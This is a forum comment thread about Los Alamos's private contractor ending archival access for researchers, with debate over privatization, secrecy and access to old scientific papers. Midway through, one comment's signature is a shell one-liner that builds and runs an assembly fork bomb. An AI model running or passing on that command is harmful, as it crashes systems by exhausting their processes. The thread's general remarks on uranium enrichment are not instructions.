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Privatization Limiting Access To Information
Knutsi sends us to the Federation of American Scientists' blog Secrecy News for a post on how privatization can affect access to research material. The blog tells how a Harvard researcher on the history of nuclear secrecy was denied access that would have been granted in the past. Some followup is in the comments to this reposting of the FAS story. "Los Alamos National Laboratory will no longer permit historians and other researchers to have access to its archival records because Los Alamos National Security (LANS), the private contractor that now operates the Lab, says it has 'no policy in place' that would allow such access."
They also sank the Titanic.
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
funded by public money, there should always be public access.
In fascist America, the company owns you (and your government)
Blah blah sig blah blah blah irony blah blah
LANL does work on weapons. It seems like erring on the side of not giving out information will inconvenience some researchers but it might be a good thing for everyone else. And as someone pointed out, most of this information needed Q clearance even before privatization, which most researchers don't have, so the number of people inconvenienced is rather small.
Given the rumours of spies from China getting hold of US secrets like the design of the W88 warhead from LANL, maybe less access is a good thing. Seems to me that now that nuclear weapons tests are rare, it will be hard for other countries to make small warheads like this other than by copying an existing design. So stopping any information coming out of LANL is in the interest of the US.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Now it's all about policy and bottom line. That's privatisation for you. It works wonders with inefficient utilities and such but this? By placing such restrictions, they are nipping the very root from which such institutions begin.
As a researcher in trying to integrate knowledge I find this more and more dissapointing. Where the research community is advocating a share model, companies like this come along and remove information from the public domain.
This introduces difficulty as a researcher as this is now a void over which we need jump in order to create new knowledge. As more and more companies become contractors for the government it will ensure that not only researchers but the public will have to pay for information which may be necessary for the growth and understanding of the community as a whole.
It is time for the government to realise that the public should come first and ensure that these types of restrictions do not occur in the future and if possible to revoke those that have already occured.
As a researcher, I can tell you flat out that the privatisation of information is putting up serious barrier to the work I do. Aside from prohibitively high prices on journal papers, etc, many old papers, experiments and historical documents are under lock and key, with the private companies that hold onto them totally unwilling to go to the (minor) expense of open up their archives. Such papers have effectively dropped off the face of the earth, and when those companies go under or dissolve or simply move headquarters, it's likely that the papers will in truth become lost forever.
Try to find scientific articles or papers before about 1960. It's a nightmare. Aside from paying about $50-60 if you do find anything, finding it will be a challenge. Go back to the 50's and you're in trouble. The 40's is pretty bleak. You can find more papers on ancient Egypt than you can from the 1930's.
It's possible that you can find old articles in Libraries, if you're willing to try about a dozen libraries. But many libraries are "downsizing" their paper collections(for financial reasons brought on by high journal prices). You can try an inter library loan but there are incredibly stringent copyright signoffs for every single item.
Books are not so bad. Libraries usually have good collections, and book publishers don't seem to be as rabidly concerned with copyright as journal publishers. If the material you want is in a book, you're OK. The book can have been published in 1700 and you'll still be able to find a copy relatively easily, and cheaply. Paper's from the 1700's, except seminal ones, probably have all been lost by now.
Private companies cannot be trusted to archive material. I really cannot put it plainer than that. If we place our scientific data, history and writings in the hands of private industry future generations will speak of a "Dark Age" in the 20th century, where apparently a lot was accomplished, but there will simply be no record of it. Our books aren't getting burned, they're getting privatised, a much surer method of destruction.
May the Maths Be with you!
Everyone is so quick to demand privacy, but aren't as quick to allow other entities like businesses, governments, and other organizations the right to the same privacy. However, privacy is a tricky issue. The US Constitution never mentioned the right to privacy and I'm sure that the founding father's would've found it laughable if someone mentioned it to them. We in America are guaranteed our right to live the way we want as long as it doesn't infringe on someone else's rights or on mutually agreed upon laws. Doesn't mean that the government can't know about how you live your life. It just can't interfere with it if its not against the law. I'm not defending any position mind you. But, if you deserve the right to withhold information from the government so do they. Not all knowledge is in your best interest.
It's amazing how everything can be turned into a business.. The sad thing is, that the companies seek to protect their interests not the humanity's, which in the end pays for it. It hardly leads to savings, when the government functions are maintained by a mesh of private companies, which all seek to profit from the business of governing...
Yeah, Iceberg; it's such a giveaway!
Wikileaks, no DNS
I've written more papers than I can count for my previous employer
So what happens after a generation or two of all of the cutting edge research happening solely within corporations, who aren't sharing with each other? Wouldn't that basically put a halt to the progress of the field, since in order to learn cutting edge stuff, you would have to go to a company after your degree, and then you are bound up by the confidentiality agreements, and nobody can legally reverse engineer the fruits of your research because of laws like the DMCA?
It might be faster than the university for a while, but after that while, it would seem to peter out to me.
Computers are useless. They can only give you answers.
-- Pablo Picasso
From what I understand, the problem isn't getting U-235 to go boom, it's getting U-235.
You're quite literally sorting atom-by-atom, putting the U-238 in one bucket and the U-235 in the other, a 2% sort-by-weight problem. But really it's even worse than that, because one always hears about Uranium hexa-Fluoride, so it isn't 235 vs 238, you have to add 54 to each. That changes a 2.1% weight difference into a 1.7% difference. That's why they talk about thousands of centrifuges for refining.
So from what I understand, some sort of nuclear bomb really isn't hard, given the material. Of course making a *small* bomb really IS hard, as is getting the fissile material.
The living have better things to do than to continue hating the dead.